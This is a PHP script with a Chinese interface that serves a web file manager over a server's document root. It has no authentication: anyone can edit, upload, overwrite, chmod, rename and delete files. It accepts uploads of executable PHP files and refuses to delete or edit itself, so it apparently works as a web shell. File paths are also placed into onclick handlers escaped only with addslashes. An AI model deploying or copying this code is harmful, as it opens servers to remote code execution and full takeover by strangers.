<?php
session_start();

$root = rtrim(realpath($_SERVER['DOCUMENT_ROOT']), DIRECTORY_SEPARATOR);
$current_script = realpath(__FILE__);

$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root;
if ($dir === false || strpos($dir, $root) !== 0) {
    $dir = $root;
}

$msg = '';
$msg_type = 'success';


if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    if (isset($_POST['savefile']) && !empty($_POST['file'])) {
        $file = realpath($_POST['file']);
        if ($file && strpos($file, $root) === 0 && is_file($file) && $file !== $current_script) {
            $ok = @file_put_contents($file, $_POST['content'] ?? '');
            $msg = $ok !== false ? "文件保存成功！" : "保存失败（权限不足）";
            $msg_type = $ok !== false ? "success" : "error";
        } else {
            $msg = "禁止编辑文件管理器自身";
            $msg_type = "error";
        }
    }


    elseif (isset($_POST['action'])) {
        header('Content-Type: application/json');
        $response = ['success' => false, 'msg' => '操作失败'];

        switch ($_POST['action']) {


            case 'chmod':
                $p = realpath($_POST['path'] ?? '');
                $mode = $_POST['chmod'] ?? '';
                if ($p && strpos($p, $root) === 0 && preg_match('/^0?\d{3,4}$/', $mode)) {
                    $ok = @chmod($p, octdec($mode));
                    $response = ['success' => $ok, 'msg' => $ok ? '权限修改成功' : '修改失败（权限不足）'];
                } else {
                    $response['msg'] = '路径非法或权限格式错误';
                }
                break;

            case 'rename':
                $old = realpath($_POST['old'] ?? '');
                $newName = preg_replace('/[^a-zA-Z0-9_.-]/', '', $_POST['new'] ?? '');
                if ($old && $newName && strpos($old, $root) === 0 && $old !== $current_script) {
                    $new = dirname($old) . DIRECTORY_SEPARATOR . $newName;
                    if (file_exists($new)) {
                        $response['msg'] = '目标名称已存在';
                    } else {
                        $ok = @rename($old, $new);
                        $response = ['success' => $ok, 'msg' => $ok ? '重命名成功' : '重命名失败'];
                    }
                } else {
                    $response['msg'] = '路径非法';
                }
                break;


            case 'mkdir':
                $name = preg_replace('/[^a-zA-Z0-9_.-]/', '', $_POST['name'] ?? '');
                if ($name) {
                    $np = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name;
                    if (!file_exists($np)) {
                        $ok = @mkdir($np, 0755, true);
                        $response = ['success' => $ok, 'msg' => $ok ? '创建成功' : '创建失败'];
                    } else {
                        $response['msg'] = '文件夹已存在';
                    }
                }
                break;


            case 'mkfile':
                $name = preg_replace('/[^a-zA-Z0-9_.-]/', '', $_POST['name'] ?? '');
                if ($name) {
                    $np = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name;
                    if (!file_exists($np)) {
                        $ok = @file_put_contents($np, "<?php\n// 新建文件\n");
                        $response = ['success' => $ok !== false, 'msg' => $ok ? '创建成功' : '创建失败'];
                    } else {
                        $response['msg'] = '文件已存在';
                    }
                }
                break;


            case 'delete':
                $p = realpath($_POST['path'] ?? '');
                if ($p && strpos($p, $root) === 0 && $p !== $current_script) {
                    $ok = is_file($p) ? @unlink($p) : @rmdir($p);
                    $response = ['success' => $ok, 'msg' => $ok ? '删除成功' : '删除失败'];
                }
                break;


            case 'save_file':
                $file = realpath($_POST['file'] ?? '');
                if ($file && strpos($file, $root) === 0 && is_file($file) && $file !== $current_script) {
                    $ok = @file_put_contents($file, $_POST['content'] ?? '');
                    $response = ['success' => $ok !== false, 'msg' => $ok ? '保存成功' : '保存失败'];
                } else {
                    $response['msg'] = '禁止编辑自身文件';
                }
                break;


            case 'upload':
                $uploaded = $failed = 0;
                if (!empty($_FILES['files']['name'])) {
                    foreach ($_FILES['files']['name'] as $i => $orig_name) {
                        if ($_FILES['files']['error'][$i] !== UPLOAD_ERR_OK) {
                            $failed++;
                            continue;
                        }
                        $tmp = $_FILES['files']['tmp_name'][$i];
                        $name = preg_replace('/[^a-zA-Z0-9_.-]/', '', $orig_name);
                        $dest = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name;
                        // 直接覆盖已存在文件
                        if (move_uploaded_file($tmp, $dest)) $uploaded++;
                        else $failed++;
                    }
                }
                $response = ['success' => true, 'msg' => "上传完成：成功覆盖/上传 {$uploaded} 个，失败 {$failed} 个"];
                break;
        }
        echo json_encode($response);
        exit;
    }
}

$edit_file = '';
$edit_content = '';
$edit_error = '';

if (isset($_GET['edit']) && !empty($_GET['edit'])) {
    $edit_file = realpath($_GET['edit']);
    if ($edit_file && strpos($edit_file, $root) === 0) {
        if ($edit_file === $current_script) {
            $edit_error = "禁止编辑文件管理器自身！";
        } elseif (is_file($edit_file)) {
            $edit_content = @file_get_contents($edit_file);
            if ($edit_content === false) $edit_error = "无法读取文件内容";
        } else {
            $edit_error = "文件不存在";
        }
    } else {
        $edit_error = "路径非法";
    }
}


function fm_perm($p) {
    $perms = fileperms($p);
    $info = is_dir($p) ? 'd' : '-';
    $info .= ($perms & 0x0100) ? 'r' : '-';
    $info .= ($perms & 0x0080) ? 'w' : '-';
    $info .= ($perms & 0x0040) ? 'x' : '-';
    $info .= ($perms & 0x0020) ? 'r' : '-';
    $info .= ($perms & 0x0010) ? 'w' : '-';
    $info .= ($perms & 0x0008) ? 'x' : '-';
    $info .= ($perms & 0x0004) ? 'r' : '-';
    $info .= ($perms & 0x0002) ? 'w' : '-';
    $info .= ($perms & 0x0001) ? 'x' : '-';
    return $info;
}

function fm_size($bytes) {
    if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}

$breadcrumb = [];
$path_parts = explode(DIRECTORY_SEPARATOR, $dir);
$current = '';
foreach ($path_parts as $part) {
    if ($part === '') continue;
    $current .= ($current ? DIRECTORY_SEPARATOR : '') . $part;
    $breadcrumb[] = ['name' => $part, 'path' => $current];
}

$files = array_diff(scandir($dir), ['.', '..']);
$dirs = $file_list = [];
foreach ($files as $f) {
    $p = $dir . DIRECTORY_SEPARATOR . $f;
    is_dir($p) ? $dirs[] = $f : $file_list[] = $f;
}
sort($dirs); sort($file_list);
$sorted_files = array_merge($dirs, $file_list);
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>文件管理器</title>
    <style>
        *{box-sizing:border-box}
        body{font-family:system-ui,sans-serif;background:#f8f9fa;padding:20px}
        .container{max-width:1400px;margin:auto}
        .msg{padding:12px 16px;border-radius:8px;margin-bottom:15px}
        .msg.success{background:#d4edda;color:#155724}
        .msg.error{background:#f8d7da;color:#721c24}
        .nav{background:#fff;padding:12px;border-radius:8px;margin-bottom:15px}
        table{width:100%;background:#fff;border-collapse:collapse;border-radius:8px;overflow:hidden}
        th,td{padding:12px;text-align:left;border-bottom:1px solid #eee}
        th{background:#f1f3f5}
        .action-btn{padding:6px 12px;margin:0 4px;border:none;border-radius:4px;cursor:pointer;font-size:13px}
        .btn-danger{background:#dc3545;color:white}
        .btn-primary{background:#007bff;color:white}
        .editor-box{background:#fff;padding:20px;border-radius:8px;border:1px solid #ddd;margin:20px 0}
        textarea{width:100%;height:420px;font-family:monospace}
        .chmod-input{width:80px;padding:5px}
    </style>
</head>
<body>
<div class="container">

    <?php if ($msg): ?>
    <div class="msg <?= $msg_type ?>"><?= htmlspecialchars($msg) ?></div>
    <?php endif; ?>

    <?php if ($edit_error): ?>
    <div class="msg error"><?= htmlspecialchars($edit_error) ?></div>
    <?php elseif ($edit_file): ?>
    <div class="editor-box">
        <h3>正在编辑：<?= htmlspecialchars(basename($edit_file)) ?></h3>
        <form method="post">
            <input type="hidden" name="file" value="<?= htmlspecialchars($edit_file) ?>">
            <textarea name="content"><?= htmlspecialchars($edit_content) ?></textarea>
            <p style="margin-top:15px">
                <button type="submit" name="savefile" class="btn-primary">💾 保存文件</button>
                <a href="?dir=<?= urlencode($dir) ?>" style="margin-left:15px;color:#666">取消</a>
            </p>
        </form>
    </div>
    <?php endif; ?>

    <div class="nav">
        当前位置： 
        <?php foreach ($breadcrumb as $i => $b): ?>
            <?php if($i>0) echo ' / '; ?>
            <a href="?dir=<?= urlencode($b['path']) ?>"><?= htmlspecialchars($b['name']) ?></a>
        <?php endforeach; ?>
    </div>


    <div style="margin-bottom:15px;background:#fff;padding:15px;border-radius:8px;border:1px solid #ddd">
        <form id="uploadForm" enctype="multipart/form-data">
            <input type="file" name="files[]" id="fileInput" multiple>
            <button type="button" onclick="uploadFiles()" class="btn-primary">批量上传文件</button>
        </form>
        <div id="uploadStatus" style="margin-top:8px"></div>
    </div>


    <div style="margin-bottom:15px;display:flex;gap:10px;flex-wrap:wrap">
        <input type="text" id="mkdirName" placeholder="新建文件夹" style="padding:8px">
        <button onclick="createFolder()" class="btn-primary">创建文件夹</button>
        <input type="text" id="mkfileName" placeholder="新建文件名称" style="padding:8px">
        <button onclick="createFile()" class="btn-primary">创建文件</button>
    </div>

    <table>
        <thead>
            <tr>
                <th>名称</th>
                <th>权限</th>
                <th>大小</th>
                <th>修改时间</th>
                <th>操作</th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td><a href="?dir=<?= urlencode(dirname($dir)) ?>">↑ 返回上级目录</a></td>
                <td colspan="4"></td>
            </tr>
            <?php foreach ($sorted_files as $f): 
                $p = $dir . DIRECTORY_SEPARATOR . $f;
                $isDir = is_dir($p);
            ?>
            <tr>
                <td>
                    <?php if($isDir): ?>
                        <a href="?dir=<?= urlencode($p) ?>"><?= htmlspecialchars($f) ?></a>
                    <?php else: ?>
                        <?= htmlspecialchars($f) ?>
                    <?php endif; ?>
                </td>
                <td>
                    <?= fm_perm($p) ?>
                    <input type="text" class="chmod-input" id="chmod_<?= md5($p) ?>" value="0755" style="margin-left:8px">
                    <button onclick="singleChmod('<?= addslashes($p) ?>', 'chmod_<?= md5($p) ?>')" class="action-btn btn-primary">修改权限</button>
                </td>
                <td><?= $isDir ? '-' : fm_size(filesize($p)) ?></td>
                <td><?= date('Y-m-d H:i', filemtime($p)) ?></td>
                <td>
                    <?php if(!$isDir): ?>
                        <button onclick="editFile('<?= addslashes($p) ?>')" class="action-btn btn-primary">编辑</button>
                    <?php endif; ?>
                    <button onclick="renameItem('<?= addslashes($p) ?>')" class="action-btn">重命名</button>
                    <button onclick="deleteItem('<?= addslashes($p) ?>')" class="action-btn btn-danger">删除</button>
                </td>
            </tr>
            <?php endforeach; ?>
        </tbody>
    </table>
</div>

<script>

async function api(action, data = {}) {
    const form = new FormData();
    form.append('action', action);
    for (let key in data) form.append(key, data[key]);
    const res = await fetch('?', { method: 'POST', body: form });
    return await res.json();
}


async function singleChmod(path, inputId) {
    const modeInput = document.getElementById(inputId);
    let newMode = modeInput ? modeInput.value.trim() : '';
    if (!newMode) {
        newMode = prompt('请输入新权限 (如 0755)：', '0755');
    }
    if (!newMode || !/^\d{3,4}$/.test(newMode)) {
        return alert('权限格式错误，请输入如 0755');
    }
    const r = await api('chmod', {path: path, chmod: newMode});
    alert(r.msg);
    if (r.success) location.reload();
}


async function renameItem(oldPath) {
    const newName = prompt('请输入新名称：', oldPath.split(/[\\/]/).pop());
    if (!newName) return;
    const r = await api('rename', {old: oldPath, new: newName});
    alert(r.msg);
    if (r.success) location.reload();
}


async function createFolder() {
    const name = document.getElementById('mkdirName').value.trim();
    if (!name) return alert('请输入文件夹名称');
    const r = await api('mkdir', {name});
    alert(r.msg);
    if (r.success) location.reload();
}


async function createFile() {
    const name = document.getElementById('mkfileName').value.trim();
    if (!name) return alert('请输入文件名');
    const r = await api('mkfile', {name});
    alert(r.msg);
    if (r.success) location.reload();
}


async function deleteItem(path) {
    if (!confirm('确定删除？')) return;
    const r = await api('delete', {path});
    alert(r.msg);
    if (r.success) location.reload();
}

function editFile(path) {
    location.href = '?edit=' + encodeURIComponent(path) + '&dir=' + encodeURIComponent('<?= addslashes($dir) ?>');
}


async function uploadFiles() {
    const files = document.getElementById('fileInput').files;
    if (!files.length) return alert('请选择文件');
    const status = document.getElementById('uploadStatus');
    status.innerHTML = `正在上传 ${files.length} 个文件...`;
    const formData = new FormData(document.getElementById('uploadForm'));
    formData.append('action', 'upload');
    try {
        const res = await fetch('?', {method: 'POST', body: formData});
        const r = await res.json();
        status.innerHTML = `<span style="color:${r.success ? 'green' : 'red'}">${r.msg}</span>`;
        if (r.success) setTimeout(() => location.reload(), 800);
    } catch(e) {
        status.innerHTML = '<span style="color:red">上传失败</span>';
    }
}
</script>
</body>
</html>